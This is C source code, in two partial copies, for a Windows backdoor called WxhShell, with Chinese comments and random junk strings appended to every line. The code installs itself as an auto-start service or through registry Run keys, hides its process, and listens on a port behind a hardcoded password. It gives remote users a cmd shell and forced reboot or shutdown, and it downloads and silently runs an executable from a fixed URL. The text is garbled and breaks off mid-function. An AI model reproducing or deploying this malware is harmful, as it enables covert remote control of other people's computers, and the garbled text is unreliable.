  case 'd': { I0N~>SpZ5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]l"9B'XR  
    if(Boot(SHUTDOWN)) SB:z[kfz|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )K]<\Q[  
    else { " eS-i@  
    closesocket(wsh); Z?qc4Cg  
    ExitThread(0); lpjby[S  
    } k&:~l@?O  
    break; @W=: r/  
    } I5]58Ohx  
  // 获取shell Qnx?5R-}ZU  
  case 's': { xiVbVr#[  
    CmdShell(wsh); ;<=z^1X9  
    closesocket(wsh); KvjH\;78  
    ExitThread(0); L+lX$k  
    break; %r@:7/  
  } O4!!*0(+91  
  // 退出 _y:a Pn  
  case 'x': { \okvL2:!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H|3CZ=U?  
    CloseIt(wsh); IH"_6s#$&  
    break; uM[[skc  
    } EiS2-Uh*TT  
  // 离开 z3M6<.K  
  case 'q': { ?[.g~DK,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L?(m5u~b  
    closesocket(wsh); wS [k}  
    WSACleanup(); Jmu oYlf|  
    exit(1); S-79uo  
    break; (\4YBaGd  
        } &-KQ m20n  
  } {~V_6wY g  
  } X=VaBy4#  
4rypT-%^;  
  // 提示信息 GXR7Ug}k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \,G19o}`Es  
} U8eU[|-8O/  
  } -AXMT3p=1  
]_hXg*?  
  return; s5ILl wr  
} F~3 &@TWi  
5IP@_GV|  
// shell模块句柄 R+Rb[,m  
int CmdShell(SOCKET sock) f|,2u5 ;z  
{ &>Z p}.V  
STARTUPINFO si; mFyYn,Mu|  
ZeroMemory(&si,sizeof(si)); N8Un42  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! H4uc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S/6I9zOP  
PROCESS_INFORMATION ProcessInfo; XRn+6fn|  
char cmdline[]="cmd"; a61?G!]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wEEFpn_   
  return 0; |99Z& <8f  
} 84gj%tw'-  
Ws[d.El  
// 自身启动模式 _m1WY7  
int StartFromService(void) X'5+)dj  
{ u2 U4MV1C  
typedef struct &.:yP3  
{ ;{rl Y>  
  DWORD ExitStatus; &_Z8:5e  
  DWORD PebBaseAddress; =@k 3*#\  
  DWORD AffinityMask; 6K5KkEp  
  DWORD BasePriority; _LLE~nUK"/  
  ULONG UniqueProcessId; e(k$k>?  
  ULONG InheritedFromUniqueProcessId; WhL 1OG  
}   PROCESS_BASIC_INFORMATION; a;0$fRy  
9R|B 5.  
PROCNTQSIP NtQueryInformationProcess; .DcuJC=  
NAfu$7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0>0:ls  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `pXC= []B2  
BYs^?IfW  
  HANDLE             hProcess; !B&1{  
  PROCESS_BASIC_INFORMATION pbi; G/8G`teAZ  
po+ 1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |y2cI,&   
  if(NULL == hInst ) return 0; !n5s/"'H  
wq3V&@.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0'Qo eFKG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2 Xc,c*r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i{ 2rQy+  
++0xa%:  
  if (!NtQueryInformationProcess) return 0; l7GLN1#m  
^i~'aq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (9D,Ukw  
  if(!hProcess) return 0; 3yIC@>&y(8  
,6a }l;lv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {%z}CTf#  
hH@pA:`s  
  CloseHandle(hProcess); +yu^Z*_  
|y7#D9m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %LZf= `:(  
if(hProcess==NULL) return 0; d:=:l?  
2BIOA#@t  
HMODULE hMod; veGRwir  
char procName[255]; ]i pltR7k  
unsigned long cbNeeded; V %Rz(a+c  
pi?U|&.1z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -\=kd {*B  
pn2_ {8.  
  CloseHandle(hProcess); ek4?|!kQD  
@T+pQ)0{{  
if(strstr(procName,"services")) return 1; // 以服务启动 ?HaUT(\j  
+0O^!o  
  return 0; // 注册表启动 :n<<hR0d  
} dNcP_l/A  
Oo 95\Yf$N  
// 主模块 )haHI)xR  
int StartWxhshell(LPSTR lpCmdLine) `=f1rXhI+1  
{ '|N9xL m  
  SOCKET wsl; dCH(N_  
BOOL val=TRUE; Gu136XiX  
  int port=0; Qws#v}xF  
  struct sockaddr_in door; k`Ifd:V.y  
G!IJ#|D:~  
  if(wscfg.ws_autoins) Install(); t^1c^RpTb  
kzLtI w&.  
port=atoi(lpCmdLine); % z:;t  
[ Lo}_v&  
if(port<=0) port=wscfg.ws_port; rhe;j//`  
c\pPwG  
  WSADATA data; H@xIAL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g:nU&-x#R  
VR9C< tMSi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ua vv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }nJG<rY  
  door.sin_family = AF_INET; +EBoFeeIG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); onj:+zl  
  door.sin_port = htons(port); P9D'L{yS/x  
Wc)f:]7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tJ9i{TS  
closesocket(wsl); r-a/vx#  
return 1; slK L(-D{  
} [bvIT]Z  
#wZ:E,R  
  if(listen(wsl,2) == INVALID_SOCKET) { K) "cwk-  
closesocket(wsl); eqze7EY  
return 1; Ng3MfbFG  
} UN}jpu<h  
  Wxhshell(wsl); xdH*[  
  WSACleanup(); ]OOL4=b  
0oi =}lV  
return 0; \'40u|f  
K}U}h>N  
} ' cl&S:  
5? s$(Lt~  
// 以NT服务方式启动 V/G'{ q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nEM>*;iE   
{ x1kb]0s<-  
DWORD   status = 0; @E$PjdB5M  
  DWORD   specificError = 0xfffffff; AhARBgf<  
q e:,%a-9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $h-5PwHp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ` `A=p<W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |mfQmFF  
  serviceStatus.dwWin32ExitCode     = 0; [$Ld>`3  
  serviceStatus.dwServiceSpecificExitCode = 0; D`lTP(] y  
  serviceStatus.dwCheckPoint       = 0; e/m ,PE  
  serviceStatus.dwWaitHint       = 0; XY8s\DK  
#is:6Z,OEU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .sA?}H#wb  
  if (hServiceStatusHandle==0) return;  (Ia}]q  
<;.Zms${@  
status = GetLastError(); N}>XBZy  
  if (status!=NO_ERROR) mlY0G w_e  
{ 8_K22]c5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q+[e)YO)  
    serviceStatus.dwCheckPoint       = 0; XX,iT~+-  
    serviceStatus.dwWaitHint       = 0; ]cnLJ^2  
    serviceStatus.dwWin32ExitCode     = status; XnQo0 R.PW  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0f 1Lu) 2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@.RfX=  
    return; #"a?3!wr  
  } D!~-53f@  
x(z[S$6Y\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~3.1. 'A  
  serviceStatus.dwCheckPoint       = 0; I#kK! m1Q  
  serviceStatus.dwWaitHint       = 0; *Ri?mEv hF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .foM>UOY  
} S ; x;FU  
dm&F1NkT  
// 处理NT服务事件,比如:启动、停止 9LGJ-gL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0!rU,74I=  
{ H'$g!Pg  
switch(fdwControl) F t%f"Z  
{ K^k1]!W=  
case SERVICE_CONTROL_STOP: h@T}WZv  
  serviceStatus.dwWin32ExitCode = 0; 7{ :| )  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RR><so%  
  serviceStatus.dwCheckPoint   = 0; J56+eC(  
  serviceStatus.dwWaitHint     = 0; Te~"\`omJ3  
  { a $g4 )0eS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d(w $! $"h  
  } Pn5@7~  
  return; N G1]!Vz5  
case SERVICE_CONTROL_PAUSE: H>e?FDs0*R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d+%1q  
  break; hNXPm~OK\  
case SERVICE_CONTROL_CONTINUE: YZf<S:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1<^"OjQ  
  break; /J8AnA1  
case SERVICE_CONTROL_INTERROGATE: 86~HkHliv  
  break; /!UuGm   
}; phUno2fH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0yXUVKq3  
} Z bxd,|<|  
-Xkdu?6Eh  
// 标准应用程序主函数 _n2PoE:5@P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @<\f[Znto  
{ Y2j>lf?8  
<oPo?r|oM|  
// 获取操作系统版本 VY@uQ#&A  
OsIsNt=GetOsVer(); /g712\?M4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rSB"0 W7  
*J?QXsg  
  // 从命令行安装 mUzNrkG(G  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7[QU *1bk  
__$IbF5  
  // 下载执行文件 =A<kDxqH  
if(wscfg.ws_downexe) { &TSt/b/+W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -[v:1\Vv  
  WinExec(wscfg.ws_filenam,SW_HIDE); R5G~A{w0  
} Y*3qH]  
bmc1S  
if(!OsIsNt) { 7(eWBJfTo  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fg?Gx(g4  
HideProc(); s'ntf  
StartWxhshell(lpCmdLine); T.!GEUQ  
} M'W@K  
else Q$W0>bUP  
  if(StartFromService()) U n2xZ[4  
  // 以服务方式启动 JTpKF_Za<  
  StartServiceCtrlDispatcher(DispatchTable); B @UaaWh  
else 'rRo2oTN  
  // 普通方式启动 O$Wt\Y <q  
  StartWxhshell(lpCmdLine); G!oq ;<  
YU[93@mCh  
return 0; 8[ 1D4d  
} a |32Pn  
`Qv7aY  
OqY8\>f-  
gCgMmD=AZ  
=========================================== O:RPH{D  
G[r_|-^S  
OAR1u}  
_+%-WFS|  
xg'z_W  
ME1lQ7E4B  
" iquB]z'  
"a-Ex ]  
#include <stdio.h> 7s,IT8ii  
#include <string.h> t'_Hp},  
#include <windows.h> Dz]&|5'N  
#include <winsock2.h> "}Ch2K  
#include <winsvc.h> 5P -IZ8~$  
#include <urlmon.h> WDSkk"#TF  
wQ*vcbQX*  
#pragma comment (lib, "Ws2_32.lib") ?@(_GrE-  
#pragma comment (lib, "urlmon.lib") [E2afC>zrl  
23qTmh  
#define MAX_USER   100 // 最大客户端连接数 HW"|Hm$Y(  
#define BUF_SOCK   200 // sock buffer z* YkD"]B  
#define KEY_BUFF   255 // 输入 buffer %z J)mOu  
NM/?jF@j*  
#define REBOOT     0   // 重启 5Qo\0YH  
#define SHUTDOWN   1   // 关机 ~LuZ pV  
$f*N  
#define DEF_PORT   5000 // 监听端口 ln'7kg  
 ]P(:z  
#define REG_LEN     16   // 注册表键长度 3) zanoYHi  
#define SVC_LEN     80   // NT服务名长度 ^u:7U4  
A0cC)bd&  
// 从dll定义API ZBcZG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 26yv w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '73dsOTIT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J8J~$DU\Gv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i RS )Z )  
?zQ\u{]=  
// wxhshell配置信息 x<"1T w5e  
struct WSCFG {  ^vYH"2  
  int ws_port;         // 监听端口 ]=2Ba<)m  
  char ws_passstr[REG_LEN]; // 口令 b~Op1p  
  int ws_autoins;       // 安装标记, 1=yes 0=no {%9)l,  
  char ws_regname[REG_LEN]; // 注册表键名 \ZigG{  
  char ws_svcname[REG_LEN]; // 服务名 S WVeUL#5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =2\k Jv3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nY'0*:'u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1<fS&)^W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tw)nFr8oF]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `Ff3H$_*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KIC5U50J  
d `>M-:dF  
}; UQaLhK v:  
~urIA/  
// default Wxhshell configuration 8t!(!<iF0  
struct WSCFG wscfg={DEF_PORT, #gMMh B=  
    "xuhuanlingzhe", #Bg88!-4  
    1, %UI.E=`n  
    "Wxhshell", Lz2wOB1Zc+  
    "Wxhshell", *j?tcxq  
            "WxhShell Service", ;RflzY|D  
    "Wrsky Windows CmdShell Service", :`2<SF^0O  
    "Please Input Your Password: ", fB:9:NX  
  1, hq6fDRO/4  
  "http://www.wrsky.com/wxhshell.exe", 1Zx|SBF  
  "Wxhshell.exe" Sf B+;i'D  
    }; Yew n  
cNtGjLpx;  
// 消息定义模块 [pUw(KV2m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wV+ W(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D!h8NZ;El  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9AD`,]b  
char *msg_ws_ext="\n\rExit."; C~ t?<  
char *msg_ws_end="\n\rQuit."; am{f<v,EI  
char *msg_ws_boot="\n\rReboot..."; ^I~2t|}  
char *msg_ws_poff="\n\rShutdown..."; |Up+Kc:z/n  
char *msg_ws_down="\n\rSave to "; 7"2L|fG  
8B JxD<  
char *msg_ws_err="\n\rErr!"; J_C<Erx[O  
char *msg_ws_ok="\n\rOK!"; .mn`/4  
NKvBNf|D  
char ExeFile[MAX_PATH]; dFS>uIT7X  
int nUser = 0; +(x^5~QX  
HANDLE handles[MAX_USER]; O%H_._#N`  
int OsIsNt; l9lBhltOH  
1"?KQU  
SERVICE_STATUS       serviceStatus; x9Fga_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g34<0%6jd  
klxVsx%I{G  
// 函数声明 f_}/JF  
int Install(void); nT..+ J)  
int Uninstall(void); 9W:oo:dK F  
int DownloadFile(char *sURL, SOCKET wsh); _T&?H&#  
int Boot(int flag); J0*hJ-/u  
void HideProc(void); iZ<^p1i  
int GetOsVer(void); "CLoM\M)  
int Wxhshell(SOCKET wsl); ym9Z:2g  
void TalkWithClient(void *cs); Ve*NM|jg  
int CmdShell(SOCKET sock); _Db=I3.HJ  
int StartFromService(void); CL.JalR`b  
int StartWxhshell(LPSTR lpCmdLine); K#rfQ0QK/!  
OSQZ5:g|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S<rdPS*P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); au@ LQxKQ  
,;)Y 1q}Q  
// 数据结构和表定义 $,v '>  
SERVICE_TABLE_ENTRY DispatchTable[] = Zk4Hs%n  
{ Q1jU{  
{wscfg.ws_svcname, NTServiceMain}, @X4Ur+d  
{NULL, NULL} a yn6k=F  
}; px %xoY  
26PUO$&b.  
// 自我安装 X1&Ug ^  
int Install(void) <nlZ?~%}  
{ _BO:~x  
  char svExeFile[MAX_PATH]; ^e:C{]S=  
  HKEY key; +%Q:  
  strcpy(svExeFile,ExeFile); ,A`d!{]5  
:i_818h!?[  
// 如果是win9x系统,修改注册表设为自启动 4e~^G  
if(!OsIsNt) { u.sF/T=6f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R*a5bKr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xI}o8GKQq  
  RegCloseKey(key); dU1w)Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n8UQIa4&=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~T@t7Cg  
  RegCloseKey(key); BZejqDr*  
  return 0; |z\5Ik!fF]  
    } |x@)%QeC  
  } v,y nz'>)  
} '?=SnjMX  
else { L9Sd4L_e  
W2/FGJD  
// 如果是NT以上系统,安装为系统服务 XI:8_F;Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pd{W(M78g  
if (schSCManager!=0) K]ob>wPf  
{ nw swy]e8/  
  SC_HANDLE schService = CreateService nlmc/1C  
  ( *vt5dxB  
  schSCManager, B!-hcn]y  
  wscfg.ws_svcname, }/&Q\Sc  
  wscfg.ws_svcdisp, (XA=d 4  
  SERVICE_ALL_ACCESS, R,R[.2Vi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9qN4f8R  
  SERVICE_AUTO_START, ~,+n_KST;  
  SERVICE_ERROR_NORMAL, j[l6&eX  
  svExeFile, xFxl9oM."  
  NULL, WA}<Zme3[  
  NULL, _J(n~"eR  
  NULL, xxkU u6x#  
  NULL, /WlK*8C  
  NULL @Gp=9\L  
  ); ?PVJeFH  
  if (schService!=0) Mx<z34(T  
  { @)s;u}H  
  CloseServiceHandle(schService); Ot}fGiio  
  CloseServiceHandle(schSCManager); )OQhtxK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WeDeD\zy  
  strcat(svExeFile,wscfg.ws_svcname); (Cjnf a 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^7M hnA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n@n608  
  RegCloseKey(key); e~R; 2bk  
  return 0; .{sKEVK  
    } *z[G+JX  
  } XndGe=O  
  CloseServiceHandle(schSCManager); >2h|$6iWP  
} X8~dFjhX  
} *uHL'Pe;m  
rMXIw  
return 1; 'f&o%5]  
} RrrW0<Ed  
r@N 0%JZZ  
// 自我卸载 j !^Tw.Ty  
int Uninstall(void) {Hncm  
{  :VwU2  
  HKEY key; +Go(y S  
:$k':0 n  
if(!OsIsNt) { .N2yn`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HR)Dz~Obw  
  RegDeleteValue(key,wscfg.ws_regname); 5\93-e  
  RegCloseKey(key); s2f9 5<B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )"k>}&'  
  RegDeleteValue(key,wscfg.ws_regname); lyGQ6zlSn  
  RegCloseKey(key); 79 zFF  
  return 0; 0#(K}9T)  
  } uC\FW6K=m  
} dmh6o *  
} u8ofgcFYE  
else { ^0"^Xk*  
@X`~r8&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b3(pRg[Fp  
if (schSCManager!=0) BiGB<Jr  
{ p@epl|IZp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 50!/%  
  if (schService!=0) w-2&6o<n-  
  { GC?X>AC:  
  if(DeleteService(schService)!=0) { I9O9V[  
  CloseServiceHandle(schService); V3;4,^=6Dd  
  CloseServiceHandle(schSCManager); s( @w1tS.  
  return 0; &8'.Gw m}  
  } %Q]u_0P*  
  CloseServiceHandle(schService);  .G}E  
  } D|8vS8p  
  CloseServiceHandle(schSCManager); m-f"EFmP  
} A ?"(5da.  
} _&S?uz m  
;>^oe:@  
return 1; iku8T*&uc  
} _XT],"  
'[#a-8-JY_  
// 从指定url下载文件 ~3}Gu^@  
int DownloadFile(char *sURL, SOCKET wsh) e$F]t *)Xa  
{ z;1y7W!v  
  HRESULT hr; =Y`P}vI]w%  
char seps[]= "/"; Rz}?@zh_8  
char *token; n}==  
char *file; \PS{/XK  
char myURL[MAX_PATH]; M99#\0=/  
char myFILE[MAX_PATH]; i`o}*`//  
?pgdj|"a  
strcpy(myURL,sURL); bc}X.IC  
  token=strtok(myURL,seps); vW4~\]  
  while(token!=NULL) -r/G)Rs  
  { <>aBmJs4  
    file=token; 5 e:Urv77  
  token=strtok(NULL,seps); )6|7L)Dk  
  } WelB+P2  
hoxn!x$?  
GetCurrentDirectory(MAX_PATH,myFILE); {zoUU  
strcat(myFILE, "\\"); &tY3nr  
strcat(myFILE, file); 4 -)'a} O  
  send(wsh,myFILE,strlen(myFILE),0); T1zft#1~  
send(wsh,"...",3,0); ,4y' (DA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N;,?k.vU  
  if(hr==S_OK) 97:1L4w.(  
return 0; * d6[k Y  
else qGMM3a)Q  
return 1; ';` fMcN  
Ke-Q>sm2Q  
} M0!;{1  
+3.Ik,Z}zq  
// 系统电源模块 N[ 4v6GS  
int Boot(int flag) }HS:3Dt  
{ L'{;V\d  
  HANDLE hToken; A.7:.5Cx'  
  TOKEN_PRIVILEGES tkp; Dd|}LV  
g-'y_'%0G  
  if(OsIsNt) { zx^]3}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h}xUZ:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #1R_* Uh  
    tkp.PrivilegeCount = 1; 4X7y}F.J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wz$%o'OnC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @k~?h=o\b  
if(flag==REBOOT) {  ToNi<~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8?] :>  
  return 0; <B6@q4Q  
} ${'gyD  
else { D^Dm, -  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <'A>7M~h?*  
  return 0; C%d 4ItB >  
} 7}bjJR "  
  } A2'   
  else {  t K;E&:  
if(flag==REBOOT) { 7SzY0})<U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K#M h  
  return 0; g!n1]- 1  
} q0WW^jwQ  
else { )gdv!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) || ?B1  
  return 0; 5A1oZ+C#  
} Rs B o\#`  
} EQPZV K/  
Sp)KtMV  
return 1; SCeZt [  
} RAKQ+Y"nl  
ANSvZqKh  
// win9x进程隐藏模块 9[DQ[bL  
void HideProc(void) ^&<~6y}U^  
{ 47I:o9E  
sBuJK'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LLmgk"  
  if ( hKernel != NULL ) tW5 \Ktjno  
  { a:@9GmtV&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vy/U""w`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "M6a_rZ2W  
    FreeLibrary(hKernel); FW7+!A&F  
  } Ff>Y<7CQ v  
pH#&B_S6z=  
return; b qB[ vPsI  
} R7*Jb-;$!  
Wq)'0U;{$  
// 获取操作系统版本 A{h hnrr8  
int GetOsVer(void) qGkrG38K  
{ ~ C5iyXR  
  OSVERSIONINFO winfo; $gDp-7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n ! qm  
  GetVersionEx(&winfo); $N;!. 5lX3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lhl) pP17  
  return 1; a#H=dIj  
  else Ary$,3X2  
  return 0; R+]p -NI^  
} %9M; MK  
D{o1G?A  
// 客户端句柄模块 yP0P-8  
int Wxhshell(SOCKET wsl) 3iYz<M  
{ yWIieztp  
  SOCKET wsh; GG"0n{>0  
  struct sockaddr_in client; Js+d4``W  
  DWORD myID; EC1q#;:  
,2JqX>On>Y  
  while(nUser<MAX_USER) *p?b"{_a  
{ q`1t*<sk  
  int nSize=sizeof(client); 7qE V5!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qNHS 1  
  if(wsh==INVALID_SOCKET) return 1; w GZ(bKyO  
*" <tFQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {N5g52MN  
if(handles[nUser]==0) 7~\Dzcfk"P  
  closesocket(wsh); NOyLZa'  
else zq!2);,  
  nUser++; $Fz/&;KX!  
  } ([|5(Omd\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +^YV>;  
W3UK[_qK  
  return 0; `m<="No  
} 6AUzS4O  
I#eIm3Y?  
// 关闭 socket R,Zuy( g  
void CloseIt(SOCKET wsh) hD<z^j+  
{ ?d+B]VYw  
closesocket(wsh); |+6Z+-.Hg  
nUser--; };oRx)  
ExitThread(0); zQ{ Q>"-  
} ("/*k  
$ O}gl Q  
// 客户端请求句柄 IX7d[nm39  
void TalkWithClient(void *cs) Ccz:NpK+  
{ qjR;c& qR  
8e>;E  
  SOCKET wsh=(SOCKET)cs; 8g>jz 8  
  char pwd[SVC_LEN]; ~ $r^Ur!E\  
  char cmd[KEY_BUFF]; W<!q>8Xn?  
char chr[1]; BCUw"R#  
int i,j; RB/[(4  
 (i*1M  
  while (nUser < MAX_USER) { ?[!.TU?4N  
bG^eP :r  
if(wscfg.ws_passstr) { Jr17pu(t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4n3QW%#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2IjqT L  
  //ZeroMemory(pwd,KEY_BUFF); hN\E8"To  
      i=0; w41#? VC/  
  while(i<SVC_LEN) { hph 3kfR  
1<\cMY6  
  // 设置超时 p00\C  
  fd_set FdRead; Rp`}"x9  
  struct timeval TimeOut; l^$:R~gS  
  FD_ZERO(&FdRead); PNc200`v4_  
  FD_SET(wsh,&FdRead); vJ"@#$.  
  TimeOut.tv_sec=8; !LIWoa[ F.  
  TimeOut.tv_usec=0; asQ" |]m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w-/bLg[L?$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s #L1:L  
[Hd^49<P2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *otJtEI>6  
  pwd=chr[0]; Yf{s0Z  
  if(chr[0]==0xd || chr[0]==0xa) { W@wT ,yJ8@  
  pwd=0; S<p "k]  
  break; sK?[ 1BI  
  } ?rBj{]=  
  i++; 8(3vNuyP  
    } 1&jX~'  
44%::Oh  
  // 如果是非法用户,关闭 socket |:!0`p{R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D<xPx  
} U7PA%  
)%^oR5W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4D58cR}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ~-M7  
Ch;EnN<  
while(1) { gEi" m5po  
q,:\i+>K*  
  ZeroMemory(cmd,KEY_BUFF); T$}<So|  
42m`7uQ  
      // 自动支持客户端 telnet标准   8 6L&u:o:  
  j=0; h)y"?Jj  
  while(j<KEY_BUFF) { :hMuxHr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /_}v|E0  
  cmd[j]=chr[0]; ^S<Z'S  
  if(chr[0]==0xa || chr[0]==0xd) { 8kMMQES  
  cmd[j]=0; kJDMIh|g  
  break; tAc;O[L  
  } (5yg\3Jvp  
  j++; "sg$[)I3n  
    } i}wu+<Mk  
hJd#Gc~*M  
  // 下载文件 :nwcO3~`  
  if(strstr(cmd,"http://")) { GuDus2#+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .mok.f<G_m  
  if(DownloadFile(cmd,wsh)) kN}.[enI~  
